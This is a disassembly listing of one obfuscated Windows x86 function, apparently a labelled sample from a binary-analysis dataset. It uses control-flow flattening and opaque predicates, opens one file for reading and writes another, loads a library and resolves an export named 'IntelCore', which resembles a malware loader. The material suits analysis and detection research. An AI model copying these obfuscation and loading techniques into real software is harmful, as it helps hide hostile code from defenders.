Function at 0x40b140
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xb0
mov eax, dword [0x434080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x43556c]
mov eax, dword [0x435568]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xae], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xad], al
mov dword [ebp - 0xb4], 0xcc195c04
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xb8], eax
sub eax, 0x8009ce25
je 0x40f30b
jmp 0x40b1b3
mov eax, dword [ebp - 0xb8]
sub eax, 0x80a7c4fb
je 0x40fe82
jmp 0x40b1c9
mov eax, dword [ebp - 0xb8]
sub eax, 0x81e76b96
je 0x412924
jmp 0x40b1df
mov eax, dword [ebp - 0xb8]
sub eax, 0x821a105a
je 0x413296
jmp 0x40b1f5
mov eax, dword [ebp - 0xb8]
sub eax, 0x83332c36
je 0x4102bb
jmp 0x40b20b
mov eax, dword [ebp - 0xb8]
sub eax, 0x83775bfa
je 0x40e108
jmp 0x40b221
mov eax, dword [ebp - 0xb8]
sub eax, 0x8634c93c
je 0x410837
jmp 0x40b237
mov eax, dword [ebp - 0xb8]
sub eax, 0x865194ed
je 0x412dec
jmp 0x40b24d
mov eax, dword [ebp - 0xb8]
sub eax, 0x867cf626
je 0x4102d8
jmp 0x40b263
mov eax, dword [ebp - 0xb8]
sub eax, 0x8712dd32
je 0x40e1c0
jmp 0x40b279
mov eax, dword [ebp - 0xb8]
sub eax, 0x87ba4fc5
je 0x412fb7
jmp 0x40b28f
mov eax, dword [ebp - 0xb8]
sub eax, 0x884a14b3
je 0x40dd67
jmp 0x40b2a5
mov eax, dword [ebp - 0xb8]
sub eax, 0x8979f41d
je 0x40ff7c
jmp 0x40b2bb
mov eax, dword [ebp - 0xb8]
sub eax, 0x8a8a744b
je 0x4135bd
jmp 0x40b2d1
mov eax, dword [ebp - 0xb8]
sub eax, 0x8c29cbad
je 0x4109b2
jmp 0x40b2e7
mov eax, dword [ebp - 0xb8]
sub eax, 0x8ce76e6a
je 0x410a02
jmp 0x40b2fd
mov eax, dword [ebp - 0xb8]
sub eax, 0x8ceb2268
je 0x4125af
jmp 0x40b313
mov eax, dword [ebp - 0xb8]
sub eax, 0x8e94edd2
je 0x410b14
jmp 0x40b329
mov eax, dword [ebp - 0xb8]
sub eax, 0x8e975bde
je 0x4125ed
jmp 0x40b33f
mov eax, dword [ebp - 0xb8]
sub eax, 0x8f48cd6e
je 0x412e40
jmp 0x40b355
mov eax, dword [ebp - 0xb8]
sub eax, 0x8f4d1f9a
je 0x4110e7
jmp 0x40b36b
mov eax, dword [ebp - 0xb8]
sub eax, 0x9194a7da
je 0x413497
jmp 0x40b381
mov eax, dword [ebp - 0xb8]
sub eax, 0x91994f22
je 0x412f03
jmp 0x40b397
mov eax, dword [ebp - 0xb8]
sub eax, 0x92102a36
je 0x40fc6a
jmp 0x40b3ad
mov eax, dword [ebp - 0xb8]
sub eax, 0x93a4c5b7
je 0x413725
jmp 0x40b3c3
mov eax, dword [ebp - 0xb8]
sub eax, 0x945f68c7
je 0x40fe44
jmp 0x40b3d9
mov eax, dword [ebp - 0xb8]
sub eax, 0x948c66a5
je 0x40dc69
jmp 0x40b3ef
mov eax, dword [ebp - 0xb8]
sub eax, 0x94d53cc4
je 0x410608
jmp 0x40b405
mov eax, dword [ebp - 0xb8]
sub eax, 0x966d9f0e
je 0x4111dd
jmp 0x40b41b
mov eax, dword [ebp - 0xb8]
sub eax, 0x96918762
je 0x413476
jmp 0x40b431
mov eax, dword [ebp - 0xb8]
sub eax, 0x96982455
je 0x40fb0a
jmp 0x40b447
mov eax, dword [ebp - 0xb8]
sub eax, 0x96b4570e
je 0x40dfbe
jmp 0x40b45d
mov eax, dword [ebp - 0xb8]
sub eax, 0x96fe61d8
je 0x410ad6
jmp 0x40b473
mov eax, dword [ebp - 0xb8]
sub eax, 0x983323cb
je 0x41178d
jmp 0x40b489
mov eax, dword [ebp - 0xb8]
sub eax, 0x985b3d11
je 0x40ff8b
jmp 0x40b49f
mov eax, dword [ebp - 0xb8]
sub eax, 0x9974a4b7
je 0x4135f2
jmp 0x40b4b5
mov eax, dword [ebp - 0xb8]
sub eax, 0x9975da09
je 0x41361c
jmp 0x40b4cb
mov eax, dword [ebp - 0xb8]
sub eax, 0x99d11792
je 0x413200
jmp 0x40b4e1
mov eax, dword [ebp - 0xb8]
sub eax, 0x9b5ebcc4
je 0x410b82
jmp 0x40b4f7
mov eax, dword [ebp - 0xb8]
sub eax, 0x9ce800f7
je 0x40f4a3
jmp 0x40b50d
mov eax, dword [ebp - 0xb8]
sub eax, 0x9d36f037
je 0x41314f
jmp 0x40b523
mov eax, dword [ebp - 0xb8]
sub eax, 0x9eedee60
je 0x4112ff
jmp 0x40b539
mov eax, dword [ebp - 0xb8]
sub eax, 0x9fcc98f9
je 0x4130ef
jmp 0x40b54f
mov eax, dword [ebp - 0xb8]
sub eax, 0xa02807ae
je 0x412b9a
jmp 0x40b565
mov eax, dword [ebp - 0xb8]
sub eax, 0xa0adc772
je 0x411a72
jmp 0x40b57b
mov eax, dword [ebp - 0xb8]
sub eax, 0xa178b708
je 0x4103eb
jmp 0x40b591
mov eax, dword [ebp - 0xb8]
sub eax, 0xa1796055
je 0x4127fb
jmp 0x40b5a7
mov eax, dword [ebp - 0xb8]
sub eax, 0xa1f0b948
je 0x4103fa
jmp 0x40b5bd
mov eax, dword [ebp - 0xb8]
sub eax, 0xa29b0e74
je 0x411459
jmp 0x40b5d3
mov eax, dword [ebp - 0xb8]
sub eax, 0xa32ecbca
je 0x40f3fd
jmp 0x40b5e9
mov eax, dword [ebp - 0xb8]
sub eax, 0xa33e6488
je 0x40e73f
jmp 0x40b5ff
mov eax, dword [ebp - 0xb8]
sub eax, 0xa3a1b338
je 0x40ee1f
jmp 0x40b615
mov eax, dword [ebp - 0xb8]
sub eax, 0xa48bbfd0
je 0x40f6ec
jmp 0x40b62b
mov eax, dword [ebp - 0xb8]
sub eax, 0xa53ce6e3
je 0x41330b
jmp 0x40b641
mov eax, dword [ebp - 0xb8]
sub eax, 0xa57eef08
je 0x40efa7
jmp 0x40b657
mov eax, dword [ebp - 0xb8]
sub eax, 0xa6d472d6
je 0x4129e5
jmp 0x40b66d
mov eax, dword [ebp - 0xb8]
sub eax, 0xa6f04755
je 0x40f172
jmp 0x40b683
mov eax, dword [ebp - 0xb8]
sub eax, 0xa6f5ee3a
je 0x410459
jmp 0x40b699
mov eax, dword [ebp - 0xb8]
sub eax, 0xa74c84a1
je 0x412915
jmp 0x40b6af
mov eax, dword [ebp - 0xb8]
sub eax, 0xa7943cc5
je 0x41312e
jmp 0x40b6c5
mov eax, dword [ebp - 0xb8]
sub eax, 0xa8122598
je 0x411ddf
jmp 0x40b6db
mov eax, dword [ebp - 0xb8]
sub eax, 0xa854d0f1
je 0x410f7a
jmp 0x40b6f1
mov eax, dword [ebp - 0xb8]
sub eax, 0xa90ac204
je 0x410174
jmp 0x40b707
mov eax, dword [ebp - 0xb8]
sub eax, 0xa94c7161
je 0x410ea6
jmp 0x40b71d
mov eax, dword [ebp - 0xb8]
sub eax, 0xa960848f
je 0x412fd8
mov ecx, dword [0x43556c]
mov eax, dword [0x435568]
mov edx, ecx
sub edx, 0x5726c952
sub edx, 1
add edx, 0x5726c952
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xeb52798f
mov ecx, 0x42b8954d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov dword [ebp - 0xb4], 0x4930e983
jmp 0x4137bd
mov eax, dword [0x43556c]
mov ecx, dword [0x435568]
mov edx, eax
sub edx, 0xa8b95b77
sub edx, 1
add edx, 0xa8b95b77
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2bbcc1a6
mov ecx, 0xd5e0947c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0xa8]
vmovss xmm0, dword [0x42d2c4]
vmovss dword [eax], xmm0
mov ecx, dword [0x43556c]
mov eax, dword [0x435568]
mov edx, ecx
add edx, 0x3f92454c
sub edx, 1
sub edx, 0x3f92454c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xae68b639
mov ecx, 0x56efad5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0xa4]
vmovss xmm0, dword [0x42d410]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0x204dc330
jmp 0x4137bd
mov eax, dword [0x43556c]
mov ecx, dword [0x435568]
mov edx, eax
sub edx, 0x467e4e29
sub edx, 1
add edx, 0x467e4e29
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x58b251e1
mov ecx, 0x4d7d0748
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0xa0]
vmovss xmm0, dword [0x42d3f0]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0x6cfcaeda
jmp 0x4137bd
mov dword [ebp - 0xb4], 0x6172cb01
jmp 0x4137bd
mov dword [ebp - 0xb4], 0xafa9f0e3
jmp 0x4137bd
mov dl, 1
mov eax, 0xba1d3f8f
mov ecx, 0x138a3e1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov dword [ebp - 0xb4], 0xba1d3f8f
jmp 0x4137bd
mov eax, dword [0x43556c]
mov ecx, dword [0x435568]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb301dd4e
mov ecx, 0xdf06e48f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0x9c]
vmovss xmm0, dword [0x42d3b4]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0x646d558a
jmp 0x4137bd
mov dword [ebp - 0xb4], 0xbb500bb9
jmp 0x4137bd
mov ecx, dword [0x43556c]
mov eax, dword [0x435568]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6443bcee
mov ecx, 0x5dcaf1d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov dl, 1
mov eax, 0xd74d245a
mov ecx, 0x63afe92b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0x98]
vmovss xmm0, dword [0x42d388]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0xd74d245a
jmp 0x4137bd
mov dword [ebp - 0xb4], 0x985b3d11
jmp 0x4137bd
mov dl, 1
mov eax, 0x1299b7cd
mov ecx, 0x18181a0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov dl, 1
mov eax, 0xc574e1e3
mov ecx, 0xb07bb2ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov dl, 1
mov eax, 0x251c787a
mov ecx, 0x867cf626
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0x98]
vmovss xmm0, dword [0x42d37c]
vmovss dword [eax], xmm0
mov eax, dword [ebp - 0x98]
vmovss xmm0, dword [0x42d378]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0x3873c89c
jmp 0x4137bd
mov dword [ebp - 0xb4], 0xa1f0b948
jmp 0x4137bd
mov dl, 1
mov eax, 0xa6f5ee3a
mov ecx, 0x749f6223
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0x94]
vmovss xmm0, dword [0x42d36c]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0xf989eb65
jmp 0x4137bd
mov dword [ebp - 0xb4], 0xdf9066cf
jmp 0x4137bd
mov eax, dword [ebp - 0x94]
vmovss xmm0, dword [0x42d248]
vmovss dword [eax], xmm0
mov ecx, dword [0x43556c]
mov eax, dword [0x435568]
mov edx, ecx
sub edx, 0x7a516996
sub edx, 1
add edx, 0x7a516996
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x670945c9
mov ecx, 0xdb895ceb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov dl, 1
mov eax, 0x6e80a191
mov ecx, 0xc8b11182
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov dword [ebp - 0xb4], 0x6e80a191
jmp 0x4137bd
mov dl, 1
mov eax, 0x55412a46
mov ecx, 0x38e9ac8d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov ecx, dword [0x43556c]
mov eax, dword [0x435568]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x10077636
mov ecx, 0x9b5ebcc4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0x90]
vmovss xmm0, dword [0x42d240]
vmovss dword [eax], xmm0
mov ecx, dword [0x43556c]
mov eax, dword [0x435568]
mov edx, ecx
sub edx, 0xfc7a76e8
sub edx, 1
add edx, 0xfc7a76e8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x10077636
mov ecx, 0xcb109c7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov ecx, dword [0x43556c]
mov eax, dword [0x435568]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xff08ecf1
mov ecx, 0xab58fc2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0x90]
vmovss xmm0, dword [0x42d234]
vmovss dword [eax], xmm0
mov eax, dword [ebp - 0x90]
vmovss xmm0, dword [0x42d230]
vmovss dword [eax], xmm0
mov eax, dword [0x43556c]
mov ecx, dword [0x435568]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59786139
mov ecx, 0x121e2b42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0x8c]
vmovss xmm0, dword [0x42d300]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0xc264d71e
jmp 0x4137bd
mov dword [ebp - 0xb4], 0xe88bbcec
jmp 0x4137bd
mov eax, dword [ebp - 0x8c]
vmovss xmm0, dword [0x42d228]
vmovss dword [eax], xmm0
mov eax, dword [ebp - 0x8c]
vmovss xmm0, dword [0x42d224]
vmovss dword [eax], xmm0
mov eax, dword [0x43556c]
mov ecx, dword [0x435568]
mov edx, eax
add edx, 0x9175ddf2
sub edx, 1
sub edx, 0x9175ddf2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x36049931
mov ecx, 0x2673405d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0x8c]
vmovss xmm0, dword [0x42d2ec]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0xb0c44551
jmp 0x4137bd
mov eax, dword [ebp - 0x8c]
vmovss xmm0, dword [0x42d2e4]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0x5dc5c03d
jmp 0x4137bd
mov eax, dword [ebp - 0x88]
add eax, 8
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0x80
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x54], eax
mov ecx, dword [0x43556c]
mov eax, dword [0x435568]
mov edx, ecx
add edx, 0x112f7a2b
sub edx, 1
sub edx, 0x112f7a2b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x41cbc9cd
mov ecx, 0x6ff67960
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov ecx, dword [0x43556c]
mov eax, dword [0x435568]
mov edx, ecx
add edx, 0xf9f639f8
sub edx, 1
sub edx, 0xf9f639f8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7ecd1697
mov ecx, 0x12a6ebf6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov dl, byte [ebp - 0x25]
mov eax, 0xbcaedb40
mov ecx, 0x4a12caa7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov ecx, dword [0x43556c]
mov eax, dword [0x435568]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x44050f3f
mov ecx, 0x37f43960
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov dword [ebp - 0xb4], 0xc355305b
jmp 0x4137bd
mov dword [ebp - 0xb4], 0x81e76b96
jmp 0x4137bd
mov eax, dword [ebp - 0x88]
add eax, 0x10c
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov eax, dword [ebp - 0x6c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xb4], 0x5c027e8e
jmp 0x4137bd
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
lea eax, str.IntelCore
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040a5c0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x68]
mov dword [eax], ecx
mov eax, dword [0x43556c]
mov ecx, dword [0x435568]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67a33560
mov ecx, 0x3baefef1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb4], eax
jmp 0x4137bd
mov eax, dword [ebp - 0x18]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xb4], 0x7439ecb1
jmp 0x4137bd
mov eax, dword [ebp - 0xa8]
vmovss xmm0, dword [0x42d2d8]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0xc4570fb5
jmp 0x4137bd
mov dword [ebp - 0xb4], 0x57dd9e6e
jmp 0x4137bd
mov eax, dword [ebp - 0xa4]
vmovss xmm0, dword [0x42d2b8]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0x449156da
jmp 0x4137bd
mov eax, dword [ebp - 0xa4]
vmovss xmm0, dword [0x42d2a4]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0xaa6ba3d2
jmp 0x4137bd
mov eax, dword [ebp - 0xa0]
vmovss xmm0, dword [0x42d280]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0xd913c186
jmp 0x4137bd
mov eax, dword [ebp - 0x9c]
vmovss xmm0, dword [0x42d27c]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0xc337c6cb
jmp 0x4137bd
mov eax, dword [ebp - 0x9c]
vmovss xmm0, dword [0x42d278]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0x61a108e0
jmp 0x4137bd
mov eax, dword [ebp - 0x98]
vmovss xmm0, dword [0x42d268]
vmovss dword [eax], xmm0
mov eax, dword [ebp - 0x98]
vmovss xmm0, dword [0x42d264]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0x5a8a1dcd
jmp 0x4137bd
mov eax, dword [ebp - 0x94]
vmovss xmm0, dword [0x42d254]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0x57d4dca6
jmp 0x4137bd
mov eax, dword [ebp - 0x94]
vmovss xmm0, dword [0x42d244]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0xb5c686e7
jmp 0x4137bd
mov eax, dword [ebp - 0x8c]
vmovss xmm0, dword [0x42d218]
vmovss dword [eax], xmm0
mov dword [ebp - 0xb4], 0xcb6c7c22
jmp 0x4137bd
mov ecx, dword [ebp - 0x88]
call fcn.00413f90
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.00408270
add esp, 4
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.00408270
add esp, 4
mov eax, dword [ebp - 0x88]
add eax, 8
sub esp, 4
mov dword [esp], eax
call fcn.0040a1f0
add esp, 4
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0xb4], 0x26376a77
jmp 0x4137bd
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0xb4], 0x6df5e3cc
jmp 0x4137bd
mov eax, dword [ebp - 0xac]
mov dword [eax], 1
mov dword [ebp - 0xb4], 0x2a6e712e
jmp 0x4137bd
mov eax, dword [ebp - 0x88]
add eax, 0x10c
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x40000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x80
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x74]
mov dword [eax], ecx
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xb4], 0xb55508c8
jmp 0x4137bd
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xb4], 0x4368c564
jmp 0x4137bd
jmp 0x40b197